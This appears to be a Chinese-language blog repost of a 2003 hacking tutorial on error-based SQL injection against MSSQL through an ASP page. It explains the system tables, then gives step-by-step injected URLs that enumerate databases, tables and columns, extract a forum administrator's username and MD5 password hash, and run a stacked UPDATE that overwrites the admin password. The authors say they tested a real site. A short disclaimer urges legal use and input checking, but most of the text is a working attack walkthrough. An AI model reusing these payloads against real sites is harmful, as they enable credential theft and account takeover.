SQL注入中跨库查询/mssql暴库

注意:对本文,请只用于合法目的,如增加安全意识,加强安全措施。

————–

漏洞描述:MSSQL  跨库查询.可以暴露任意库中任意表中字段的值.
漏洞发现者:中国网络脚本安全测试小组–臭要饭的!,黑夜.
测试和利用:臭要饭的!,黑夜.
测试日期:2003-10-30

前言:
大家都知道SQL跨表查询的东东吧。不过,假如管理员把字段名改成非常复杂的话,那么我们去猜解字段名,那将会是一件非常痛苦的事.  痛苦的事我们就不要去做了,交给想做痛苦的事的人吧.我们去找新的,绕过这个痛苦的过程。
绕过这个过程的过程I  LIKE  。这个过程就是我今天要为大家介绍的  MSSQL  跨库查询的用法.

开工吧,让我们来分析一下MSSQL的三个关键系统表.

一、分析MSSQL三个关键系统表.

sysdatabases

MSSQL中对sysdatabases系统表  的说明:
Microsoft  SQL  Server  上的每个数据库在表中占一行。最初安装  SQL  Server  时,sysdatabases  包含  master、model、msdb、mssqlweb  和  tempdb  数据库的项。该表只存储在  master  数据库中。

这个表保存在master数据库中,这个表中保存的是什么信息呢?这个非常重要。他是
保存了,所有的库名,以及库的ID,和一些相关信息。
这里我把对于我们有用的字段名称和相关说明给大家列出来.看好咯!

name  dbid
//表示库的名字.  //表示库的ID.

dbid从1到5是系统的。分别是:master、model、msdb、mssqlweb、tempdb  这五个库.

我们利用SQL语句:select  *  from  master.dbo.sysdatabases  就可以查询出所有的库名.

sysobjects

MSSQL中对sysobjects系统表的说明:  (西安禾丰http://www.hf1997.com/).
在数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在表中占一行。只有在  tempdb  内,每个临时对象才在该表中占一行。

这个是列出数据库对象的系统表。当然数据库表名也在里面的.
这里我就为大家列出一些对我们有用的字段名称和相关说明.
name  id  xtype  uid
对象名.  对象ID  对象类型  所有者对象的用户ID。

对象类型(xtype)。可以是下列对象类型中的一种:
C  =  CHECK  约束
D  =  默认值或  DEFAULT  约束
F  =  FOREIGN  KEY  约束
L  =  日志
FN  =  标量函数
IF  =  内嵌表函数
P  =  存储过程
PK  =  PRIMARY  KEY  约束(类型是  K)
RF  =  复制筛选存储过程
S  =  系统表
TF  =  表函数
TR  =  触发器
U  =  用户表
UQ  =  UNIQUE  约束(类型是  K)
V  =  视图
X  =  扩展存储过程

当然我们这里只用得到xtype=“U“的值。当等于U的时候,对象名就是表名,对象ID就是表的ID值.

我们利用SQL语句:  select  *  from  ChouYFD.dbo.sysobjects  where  xtype=“U“  这样就可以列出库名称是:ChouYFD中所有的表名.

syscolumns

SQL中syscolumns系统表的说明:
每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。

这个就是列出一个表中所有的字段列表的系统表。
这里我就为大家列出一些对我们有用的字段名称和相关说明:
name  id  colid
//字段名称  //表ID号.  字段ID号.

其中的  ID  是  刚上我们用sysobjects得到的表的ID号.
我们利用SQL语句:  select  *  from  ChouYFD.dbo.syscolumns  where  id=123456789  得到ChouYFD这个库中,表的ID是123456789中的所有字段列表.
YES  SIR  明白!GO  GO  GO  !!!

好了,简单的介绍了一下这个用法.大家如果有不了解的,请查看SQL相关说明.

二、灵活利用系统表

不过我们现在爆的是库名,表名,字段名,我们用不着去猜库名,表名,字段名.
说一下怎么爆出相关的库名,表名,字段名.
当 两个类型值不一样的时候,将他们做比较,SQL系统会提示出错。并且会显示出类型的值.  如:’aaa’>100  这样比较,也就是字符串和数字的比较,这个怎么比较嘛,系统当然会提示出错啦!大家都知道只有相同类型的时候才可以进行运算.所以这里我们就来一个反方向 的不相同类型比较,爆出他的值.

下面就让我们来测试吧!

任务一:得到所有库名.

http://www.AAA.com/jump.asp?id=3400 and  0<>(select  count(*)  _
from  master.dbo.sysdatabases  where  name>1  and  dbid=6)

因为  dbid  的值从1到5,是系统用了。所以用户自己建的一定是从6开始的。并且我们提交了  name>1  NAME字段是一个字符型的字段和数字比较会出错.那我们提交看一下IE返回了什么?

IE返回.

Microsoft  OLE  DB  Provider  for  SQL  Server  错误  “80040e07“

将  nvarchar  值  “Northwind“  转换为数据类型为  int  的列时发生语法错误。

/jump.asp,行33

GOOD!!!这样就把NAME字段的值爆露出来了:  Northwind.  也就是我们得到了一个库名.
改变DBID的值.我们可以得出所有的库名.当DBID等于10,11的时候,爆出了两个论坛的库名.分别为:
bbs2002
bbs

呵呵,论坛的库名出来啦!!!那我们就不客气了。就找BBS这个库吧!

任务二:得到bbs这个库中所有的表名.

先来第一句:
http://www.AAA.com/jump.asp?id=3400 and  0<>(select  top  1
name  from  bbs.dbo.sysobjects  where  xtype=“U“)
查询的SQL语句,返回的是NAME的值然后和数字0比较,这样就会爆露出NAME的值.
好我们提交吧,只听到砰的一声!一个表名(name的值)出来了。名叫:Address.
//  这里多说两句话,如果你提交的时候,他说你没有权限,就说明,这两个库的SQL账
//号的权限不一样,那就放弃吧。你没有资格进行下去.  老兄放弃吧!等他更新账号权
//的时候,我第一时间通知你!一定要相信我臭要饭的!话.

好,再来接着爆其他的表.
http://www.AAA.com/jump.asp?id=3400 and  0<>(select  top  1  _
name  from  bbs.dbo.sysobjects  where  xtype=“U“  and  name  _
not  in(“Address“))
又出来一个表名,名叫:admin

依次提交  …  and  name  not  in(“address“,“admin“,..))  可以查出所有的表名.

好,现在我们得到了ADMIN这个表,大家都清楚了这个表是做什么的吧!!我们的目的就是要得到这个表中账号字段和密码字段的值。
下面就是要得到这个表中的所有字段名了咧!  怎么得到字段名呢?系统表:  syscolumns
中 有用字段为:  name、  id、colid  其中ID是保存着表的ID。也就是说我们要得到表的ID号然后,用SELECT  *  from  bbs.dbo.syscolumns  where  id=bbs表的ID  这样才能列出BBS这个表中所有的字段.  说了半天,哎,说不清楚了。看我表演吧!

http://www.AAA.com/jump.asp?id=3400 and  0<>(select  count(*)_
from  bbs.dbo.sysobjects  where  xtype=“U“  and  name=“admin“_
and  uid>(str(id)))
//把ID值转成字符型后再和一个整型值比较。我KAO。经典吧,呵呵,这也想得出来。 ID号出来了。值为:773577794

任务三:得到ADMIN这个表中的所有字段列表:

http://www.AAA.com/jump.asp?id=3400 and  0<>(select  top  1  _
name  from  BBS.dbo.syscolumns  where  id=773577794)
又是把NAME和数字比较.

IE  返回:adduser  呵呵,来来来。
http://www.AAA.com/jump.asp?id=3400 and  0<>(select  top  1  _
name  from  BBS.dbo.syscolumns  where  id=773577794  and  name  _
not  in(“adduser“))
又返回一个字段名:flag
http://www.AAA.com/jump.asp?id=3400 and  0<>(select  top  1  _
name  from  BBS.dbo.syscolumns  where  id=773577794  and  name  _
not  in(“adduser“,“flag“))

好当提交到:
http://www.AAA.com/jump.asp?id=3400 and  0<>(select  top  1  _
name  from  BBS.dbo.syscolumns
where  id=773577794  and  name  not  in(“adduser“,“flag“,“id“,_
“lastlogin“,“lastloginip“,“password“,“username“))

IE返回:BOF  或  EOF  中有一个是”真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。
说明,我们已经猜完了。呵呵,看到了吧。
把BBS库中的ADMIN表中的所有字段列出来了。
分别如下:
adduser,adduser,flag,id,lastlogin,lastloginip,password,username
看了一下,很像动网的论坛。

任务四:查询字段值.

来。我们看看username和password的值吧。

http://www.AAA.com/jump.asp?id=3400 and  0<(select  id  from  _
BBS.dbo.admin  where  username>1)
账号出来了:youbiao

http://www.AAA.com/jump.asp?id=3400 and  0<(select  id  from  _
BBS.dbo.admin  where  password>1  and  username=“youbiao“)
密码又出来了:d6b2f32a47b8bcb5  我的天MD5的!不怕,呵呵~!!!

来。改一下他的密码:
http://www.AAA.com/jump.asp?id=3400;update BBS.dbo.admin  _
set  password=“AAABBBCCCDDDEEEF“  where  username=“youbiao“;–
呵呵,试试。成功了。我们再来给他改回来.

http://www.AAA.com/jump.asp?id=3400;update BBS.dbo.admin  _
set  password=“d6b2f32a47b8bcb5“  where  username=“youbiao“;–
又改回来咯!!!呵~!
通过提交UPDATE语句就可以直接把密码给他更改了。不过这是动网的。现在我们得到的只是后台的账号,你还是到前台去加一个用户为管理员才行。  这里,我们只是作测试,不破坏任何数据。  所以本文中的测试网址都更改过。请大家见谅!

[本文章还做了动画,不过测试动画用到的网站是国内一家大型游戏网站,所以这里不方便提示下载.请原谅.不明白的朋友请多看MSSQL相关帮助,学会自己独立分析和研究]

三、结束,闪人!:

这次测试是和黑夜一起测试的。其中用了不少心思。希望,大家不要利用本方法去破坏网络数据,希望看到本文章的朋友,如果自己的网站用了SQL数据库,请认真检查脚本提交的参数.

发表评论?

0 条评论。

发表评论